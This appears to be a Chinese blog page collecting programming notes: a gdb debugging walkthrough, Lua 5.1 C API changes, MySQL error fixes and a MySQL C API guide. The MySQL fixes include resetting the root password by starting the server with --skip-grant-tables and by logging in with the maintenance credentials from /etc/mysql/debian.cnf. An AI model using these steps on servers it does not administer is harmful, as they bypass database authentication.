为了使 gdb 正常工作, 你必须使你的程序在编译时包含调试信息. 调试信息包含你程序里的每个变量的类型和在可执行文件里的地址映射以及源代码的行号. gdb 利用这些信息使源代码和机器码相关联.
在编译时用 -g 选项打开调试选项.

gdb 基本命令
gdb 支持很多的命令使你能实现不同的功能. 这些命令从简单的文件装入到允许你检查所调用的堆栈内容的复杂命令, 表27.1列出了你在用 gdb 调试时会用到的一些命令. 想了解 gdb 的详细使用请参考 gdb 的指南页.
表 27.1. 基本 gdb 命令.

命 令 描 述
file 装入想要调试的可执行文件.
kill 终止正在调试的程序.
list 列出产生执行文件的源代码的一部分.
next 执行一行源代码但不进入函数内部.
step 执行一行源代码而且进入函数内部.
run 执行当前被调试的程序
quit 终止 gdb
watch 使你能监视一个变量的值而不管它何时被改变.
break 在代码里设置断点, 这将使程序执行到这里时被挂起.
make 使你能不退出 gdb 就可以重新产生可执行文件.
shell 使你能不离开 gdb 就执行 UNIX shell 命令.

gdb 支持很多与 UNIX shell 程序一样的命令编辑特征. 你能象在 bash 或 tcsh里那样按 Tab 键让 gdb 帮你补齐一个唯一的命令, 如果不唯一的话 gdb 会列出所有匹配的命令. 你也能用光标键上下翻动历史命令.

gdb 应用举例
本节用一个实例教你一步步的用 gdb 调试程序. 被调试的程序相当的简单, 但它展示了 gdb 的典型应用.

下面列出了将被调试的程序. 这个程序被称为 greeting , 它显示一个简单的问候, 再用反序将它列出.
#include <stdio.h>
main ()
{
char my_string[] = "hello there";
my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s\n", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size - i] = string[i];
string2[size+1] = `\0';
printf ("The string printed backward is %s\n", string2);
}
用下面的命令编译它:

gcc -o test test.c
这个程序执行时显示如下结果:
The string is hello there

The string printed backward is
输出的第一行是正确的, 但第二行打印出的东西并不是我们所期望的. 我们所设想的输出应该是:
The string printed backward is ereht olleh
由于某些原因, my_print2 函数没有正常工作. 让我们用 gdb 看看问题究竟出在哪儿, 先键入如下命令:

gdb greeting

--------------------------------------------------------------------------------
注意: 记得在编译 greeting 程序时把调试选项打开.
--------------------------------------------------------------------------------

如果你在输入命令时忘了把要调试的程序作为参数传给 gdb , 你可以在 gdb 提示符下用 file 命令来载入它:

(gdb) file greeting
这个命令将载入 greeting 可执行文件就象你在 gdb 命令行里装入它一样.
这时你能用 gdb 的 run 命令来运行 greeting 了. 当它在 gdb 里被运行后结果大约会象这样:

(gdb) run
Starting program: /root/greeting
The string is hello there
The string printed backward is
Program exited with code 041
这个输出和在 gdb 外面运行的结果一样. 问题是, 为什么反序打印没有工作? 为了找出症结所在, 我们可以在 my_print2 函数的 for 语句后设一个断点, 具体的做法是在 gdb 提示符下键入 list 命令三次, 列出源代码:
(gdb) list

(gdb) list

(gdb) list
--------------------------------------------------------------------------------
技巧: 在 gdb 提示符下按回车健将重复上一个命令.
--------------------------------------------------------------------------------

第一次键入 list 命令的输出如下:
1 #include <stdio.h>
2
3 main ()
4 {
5 char my_string[] = "hello there";
6
7 my_print (my_string);
8 my_print2 (my_string);
9 }
10
如果按下回车, gdb 将再执行一次 list 命令, 给出下列输出:
11 my_print (char *string)
12 {
13 printf ("The string is %s\n", string);
14 }
15
16 my_print2 (char *string)
17 {
18 char *string2;
19 int size, i;
20
再按一次回车将列出 greeting 程序的剩余部分:
21 size = strlen (string);
22 string2 = (char *) malloc (size + 1);
23 for (i = 0; i < size; i++)
24 string2[size - i] = string[i];
25 string2[size+1] = `\0';
26 printf ("The string printed backward is %s\n", string2);
27 }
根据列出的源程序, 你能看到要设断点的地方在第24行, 在 gdb 命令行提示符下键入如下命令设置断点:
(gdb) break 24
gdb 将作出如下的响应:
Breakpoint 1 at 0x139: file greeting.c, line 24
(gdb)
现在再键入 run 命令, 将产生如下的输出:
Starting program: /root/greeting
The string is hello there
Breakpoint 1, my_print2 (string = 0xbfffdc4 "hello there") at greeting.c :24
24 string2[size-i]=string[i]
你能通过设置一个观察 string2[size - i] 变量的值的观察点来看出错误是怎样产生的, 做法是键入:
(gdb) watch string2[size - i]
gdb 将作出如下回应:
Watchpoint 2: string2[size - i]
现在可以用 next 命令来一步步的执行 for 循环了:
(gdb) next
经过第一次循环后, gdb 告诉我们 string2[size - i] 的值是 `h`. gdb 用如下的显示来告诉你这个信息:
Watchpoint 2, string2[size - i]
Old value = 0 `\000'
New value = 104 `h'
my_print2(string = 0xbfffdc4 "hello there") at greeting.c:23
23 for (i=0; i<size; i++)
这个值正是期望的. 后来的数次循环的结果都是正确的. 当 i=10 时, 表达式 string2[size - i] 的值等于 `e`, size - i 的值等于 1, 最后一个字符已经拷到新串里了.
如果你再把循环执行下去, 你会看到已经没有值分配给 string2[0] 了, 而它是新串的第一个字符, 因为 malloc 函数在分配内存时把它们初始化为空(null)字符. 所以 string2 的第一个字符是空字符. 这解释了为什么在打印 string2 时没有任何输出了.

现在找出了问题出在哪里, 修正这个错误是很容易的. 你得把代码里写入 string2 的第一个字符的的偏移量改为 size - 1 而不是 size. 这是因为 string2 的大小为 12, 但起始偏移量是 0, 串内的字符从偏移量 0 到 偏移量 10, 偏移量 11 为空字符保留.

为了使代码正常工作有很多种修改办法. 一种是另设一个比串的实际大小小 1 的变量. 这是这种解决办法的代码:
#include <stdio.h>
main ()
{
char my_string[] = "hello there";
my_print (my_string);
my_print2 (my_string);
}

my_print (char *string)
{
printf ("The string is %s\n", string);
}

my_print2 (char *string)
{
char *string2;
int size, size2, i;

size = strlen (string);
size2 = size -1;
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size2 - i] = string[i];
string2[size] = `\0';
printf ("The string printed backward is %s\n", string2);
}
re: Data change for DK 聂文龙 2008-07-26 04:51
PANIC: unprotected error in call to Lua API (no calling environment)


Michael Surette wrote:
PANIC: unprotected error in call to Lua API (no calling environment)

How do I provide a calling environment?
This should be answered in a FAQ somewhere.


http://www.lua.org/manual/5.1/manual.html#5

The Lua manual mentions that the luaopen_* functions "should not be called directly: you must call them like any other Lua C function, e.g., by using lua_call."

Simply call luaL_openlibs(), or if you only want a certain subset of the standard libraries opened, see linit.c and modify it to suit your needs.


-Mark







问题1:luaopen_io()函数导致程序崩溃

在user manual的Incompatibilities with the Previous Version -> Changes in the API中提到:
The luaopen_* functions (to open libraries) cannot be called directly, like a regular C function. They must be called through Lua, like a Lua function.

在lua 5.1中,api 中的 luaopen_*现在和lua调用其它普通c函数的过程一样:
lua_pushcfunction(L, luaopen_*);
lua_call();
也可以用
lua_cpcall(L, luaopen_*, 0);
简化上面两步的操作, 实际了看lua_cpcall的源码就知道,是一样的
lua 5.1推荐的开始调用lua的写法是这样的:
lua_State *L = luaL_newstate();

lua_cpcall(L, luaopen_base, 0);
lua_cpcall(L, luaopen_io, 0);
lua_cpcall(L, luaopen_string, 0);
// ...
// ...

问题2:你也不能再使用lua_dofile()或者lua_dostring()这样古老的函数了,下面是新的方式
// 从文件执行
int s = luaL_loadfile(L, "test/hello.lua");
if ( s==0 )
{
// execute Lua program
s = lua_pcall(L, 0, LUA_MULTRET, 0);
}

// 从字符串执行
const char *buf = "print('hello, world!')";
s = luaL_loadstring(L, buf);
if ( s==0 )
{
// execute Lua program
s = lua_pcall(L, 0, LUA_MULTRET, 0);
}


mysql常见错误解决方法2007-07-28 10:59错误提示:
InnoDB: Unable to lock ./ibdata1, error: 11
解决:
ps -ef|grep mysqld ,杀死僵死进程

然后重新启动mysql

---------------------------------------------------------------------------------

错误提示:
error while loading shared libraries: libssl.so.0.9.8:

解决:
更新db,openssl


pacman -S db ,openssl


这样就不会出现找不到连接库文件了
---------------------------------------------------------------------------------
mysqld启动不了


错误提示:
[root@philix lib]# /usr/sbin/mysqld 060715 21:16:36 [ERROR] Fatal error: Please read "Security" section of the manual to find out how to run mysqld as root! 060715 21:16:36 [ERROR] Aborting 060715 21:16:36 [Note] /usr/sbin/mysqld: Shutdown complete


解决办法:在/etc/my.conf中的mysqld加入


user=mysql

说明:这个错误本人今天刚好也碰到了,除了加入user=mysql,也可以试试用/usr/bin/mysqld_safe --user=mysql & 来启动,注意mysql目录的权限。


---------------------------------------------------------------------------------------------------------


[ERROR] Fatal error: Can't open and lock privilege tables: Table


解决办法


#mysql_install_db

解决mysql“Access denied for user 'root'@'localhost'”
我的系统是ubuntu6.06,最近新装好的mysql在进入mysql工具时,总是有错误提示:
# mysql -uroot -p
Enter password:
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO)
使用网上介绍的方法修改root用户的密码:
# mysqladmin -uroot -p password 'newpassword'
Enter password:
mysqladmin: connect to server at 'localhost' failed
error: 'Access denied for user 'root'@'localhost' (using password: YES)'
现在终于被我找到了解决方法,如下(请先测试方法三,谢谢!):
方法一:
# /etc/init.d/mysql stop
# mysqld_safe --user=mysql --skip-grant-tables --skip-networking &
# mysql -u root mysql
mysql> UPDATE user SET Password=PASSWORD('newpassword') where USER='root';
mysql> FLUSH PRIVILEGES;
mysql> quit
# /etc/init.d/mysql restart
# mysql -uroot -p
Enter password: <输入新设的密码newpassword>
mysql>

方法二:
直接使用/etc/mysql/debian.cnf文件中[client]节提供的用户名和密码:
# mysql -udebian-sys-maint -p
Enter password: <输入[client]节的密码>
mysql> UPDATE user SET Password=PASSWORD('newpassword') where USER='root';
mysql> FLUSH PRIVILEGES;
mysql> quit
# mysql -uroot -p
Enter password: <输入新设的密码newpassword>
mysql>

方法三:
这种方法我没有进行过测试,因为我的root用户默认密码已经被我修改过了,那位有空测试一下,把结果告诉我,谢谢!!
# mysql -uroot -p
Enter password: <输入/etc/mysql/debian.cnf文件中[client]节提供的密码>
至此,困惑多时的问题解决了!

re: [Error DarkEden] 聂文龙 2008-07-23 21:50
AS3----------------------------------------------
[root@localhost gcc-2.95.3]# rpm -qa | grep libstdc
libstdc++-ssa-devel-3.5ssa-0.20030801.48
compat-libstdc++-7.3-2.96.128
libstdc++-ssa-3.5ssa-0.20030801.48
libstdc++-3.2.3-56
compat-libstdc++-devel-7.3-2.96.128
libstdc++-devel-3.2.3-56
[root@localhost gcc-2.95.3]#

AS5----------------------------------------------
[root@localhost lib]# rpm -qa | grep libstdc
libstdc++-devel-4.1.2-42.el5
libstdc++-4.1.2-42.el5
compat-libstdc++-33-3.2.3-61
compat-libstdc++-296-2.96-138
[root@localhost lib]#


re: [Error DarkEden] 聂文龙 2008-07-23 17:29
使用C API操作mysql数据库

说明:使用mysql提供的C API编程实现数据库的最基本操作,算是抛砖引玉吧。如果想了解更多,请安装mysql(如何安装可以参考本人的“软件使用之:mysql服务器安装和配置”)并仔细阅读其操作手册。
例子代码下载地址:
http://pickup.mofile.com/3413396272029309

一、基本操作步骤:
1、初始化mysql
MYSQL *mysql = mysql_init(NULL);
2、连接数据库
mysql_real_connect(mysql, HOST, USER, PASSWORD, DATABASE, 0, NULL, 0);
3、执行数据库操作
mysql_query(mysql, sql);
4、关闭mysql
mysql_close(mysql);

二、执行查询操作:
相信没有人会否认查询是数据库中最基本、最常用的操作吧,呵呵。
mysql查询需要在调用mysql_query()后执行其它函数来获取数据库表中相应字段的值:
1、存储操作结果集
MYSQL_RES *mysql_res = mysql_store_result(mysql);
2、获取结果集中一行记录
MYSQL_ROW *mysql_row = mysql_fetch_row(mysql_res);
3、通过指针获取记录中的值
指针mysql_row[0]指向的就是该条记录第一列(查询的第一个字段)的值
4、释放存储结果集
mysql_free_result(mysql_res);

三、其它操作:
1、设置查询返回数据的字符集
#define MYSQL_CHARSET "gbk" /* 替换为你想使用的字符集 */
char sql[1024] = {0};
sprintf(sql, "set names %s", MYSQL_CHARSET);
mysql_query(mysql, sql);
2、获取结果集中列(查询表的字段)的数目
int num_fields = mysql_num_fields(mysql_res);

四、相关函数说明:
1、初始化函数:用于分配或初始化一个MYSQL对象,返回其句柄。
MYSQL *mysql_init(MYSQL *mysql)

Description

Allocates or initializes a MYSQL object suitable for mysql_real_connect(). If mysql is a NULL pointer, the function allocates, initializes, and returns a new object. Otherwise, the object is initialized and the address of the object is returned. If mysql_init() allocates a new object, it is freed when mysql_close() is called to close the connection.

Return Values

An initialized MYSQL* handle. NULL if there was insufficient memory to allocate a new object.

2、关闭函数:用于关闭数据库连接,释放前面分配的MYSQL对象资源。
void mysql_close(MYSQL *mysql)

Description

Closes a previously opened connection. mysql_close() also deallocates the connection handle pointed to by mysql if the handle was allocated automatically by mysql_init() or mysql_connect().

Return Values

None.

3、连接数据库函数:通过指定主机名(或IP)、用户、密码、要操作的数据库来连接mysql服务器。
MYSQL *mysql_real_connect(MYSQL *mysql, const char *host, const char *user, const char *passwd, const char *db, unsigned int port, const char *unix_socket, unsigned long client_flag)

Description

mysql_real_connect() attempts to establish a connection to a MySQL database engine running on host. mysql_real_connect() must complete successfully before you can execute any other API functions that require a valid MYSQL connection handle structure.

Return Values

A MYSQL* connection handle if the connection was successful, NULL if the connection was unsuccessful. For a successful connection, the return value is the same as the value of the first parameter.

4、SQL语句执行函数:用于执行SQL语句,对数据库的操作由此函数完成。
int mysql_query(MYSQL *mysql, const char *stmt_str)

Description

Executes the SQL statement pointed to by the null-terminated string stmt_str. Normally, the string must consist of a single SQL statement and you should not add a terminating semicolon (‘;’) or \g to the statement. If multiple-statement execution has been enabled, the string can contain several statements separated by semicolons. See Section 22.2.9, “C API Handling of Multiple Statement Execution”.

mysql_query() cannot be used for statements that contain binary data; you must use mysql_real_query() instead. (Binary data may contain the ‘\0’ character, which mysql_query() interprets as the end of the statement string.)

Return Values

Zero if the statement was successful. Non-zero if an error occurred.

5、存储结果集函数:存储sql语句成功返回的结果
MYSQL_RES *mysql_store_result(MYSQL *mysql)

Description

After invoking mysql_query() or mysql_real_query(), you must call mysql_store_result() or mysql_use_result() for every statement that successfully retrieves data (SELECT, SHOW, DESCRIBE, EXPLAIN, CHECK TABLE, and so forth). You must also call mysql_free_result() after you are done with the result set.

Return Values

A MYSQL_RES result structure with the results. NULL (0) if an error occurred.

6、获取记录函数:从结果集result中返回一条记录
MYSQL_ROW mysql_fetch_row(MYSQL_RES *result)

Description

Retrieves the next row of a result set. When used after mysql_store_result(), mysql_fetch_row() returns NULL when there are no more rows to retrieve. When used after mysql_use_result(), mysql_fetch_row() returns NULL when there are no more rows to retrieve or if an error occurred.

The number of values in the row is given by mysql_num_fields(result). If row holds the return value from a call to mysql_fetch_row(), pointers to the values are accessed as row[0] to row[mysql_num_fields(result)-1]. NULL values in the row are indicated by NULL pointers.

The lengths of the field values in the row may be obtained by calling mysql_fetch_lengths(). Empty fields and fields containing NULL both have length 0; you can distinguish these by checking the pointer for the field value. If the pointer is NULL, the field is NULL; otherwise, the field is empty.

Return Values

A MYSQL_ROW structure for the next row. NULL if there are no more rows to retrieve or if an error occurred.

7、释放存储的结果集函数:释放存储结果所分配的资源
void mysql_free_result(MYSQL_RES *result)

Description

Frees the memory allocated for a result set by mysql_store_result(), mysql_use_result(), mysql_list_dbs(), and so forth. When you are done with a result set, you must free the memory it uses by calling mysql_free_result().

Return Values

None.

8、获取结果集的列数:
unsigned int mysql_num_fields(MYSQL_RES *result)

To pass a MYSQL* argument instead, use unsigned int mysql_field_count(MYSQL *mysql).

Description

Returns the number of columns in a result set.

Return Values

An unsigned integer representing the number of columns in a result set.

9、获取当前记录各字段值的长度:
unsigned long *mysql_fetch_lengths(MYSQL_RES *result)

Description

Returns the lengths of the columns of the current row within a result set. If you plan to copy field values, this length information is also useful for optimization, because you can avoid calling strlen(). In addition, if the result set contains binary data, you must use this function to determine the size of the data, because strlen() returns incorrect results for any field containing null characters.

The length for empty columns and for columns containing NULL values is zero. To see how to distinguish these two cases, see the description for mysql_fetch_row().

Return Values

An array of unsigned long integers representing the size of each column (not including any terminating null characters). NULL if an error occurred.

五、代码编译和链接:
1、编译选项:
添加mysql头文件目录
-I/usr/local/mysql/include # 通过二进制包安装的
-I/usr/local/mysql/include/mysql # 通过源代码包安装的
添加mysql库文件目录
-L/usr/local/mysql/lib # 通过二进制包安装的
-L/usr/local/mysql/lib/mysql # 通过源代码包安装的
2、链接选项(分动态链接和静态链接来讲)
动态链接
-lmysqlclient -lm -lz
静态链接
-static -lmysqlclient -lmygcc -lm -lz -lcrypt -lpthread

顺便说说mysql的静态链接,我首先使用的用动态链接:-lmysqlclient -lm -lz顺利通过,export LD_LIBRARY_PATH=/usr/local/mysql/lib后执行成功。接着我是用静态链接:-static -lmysqlclient -lm -lz,出来一堆链接错误,基本分为:
undefined reference to `__pure_virtual'
undefined reference to `__builtin_delete'

undefined reference to `pthread_self'
其中:pthread_self好办,肯定是加载pthread线程库,而pure_virtual和builtin_delete不熟,到网上查了下,没找到解决方法,倒是留意到有个人说了句二者是c++里的,于是开始怀疑是不是编译器的问题,到/usr/local/mysql/lib下找了下,发现一个库,名叫:libmygcc.a,想想是不是链接这个库就可以了呢?试一下,-static -lmysqlclient -lmygcc -lm -lz -lcrypt -lpthread,成功!呵呵,顺利完成任务!
所以,有时候做事还是要自己多动动脑筋,多想想点子,多动动手的。
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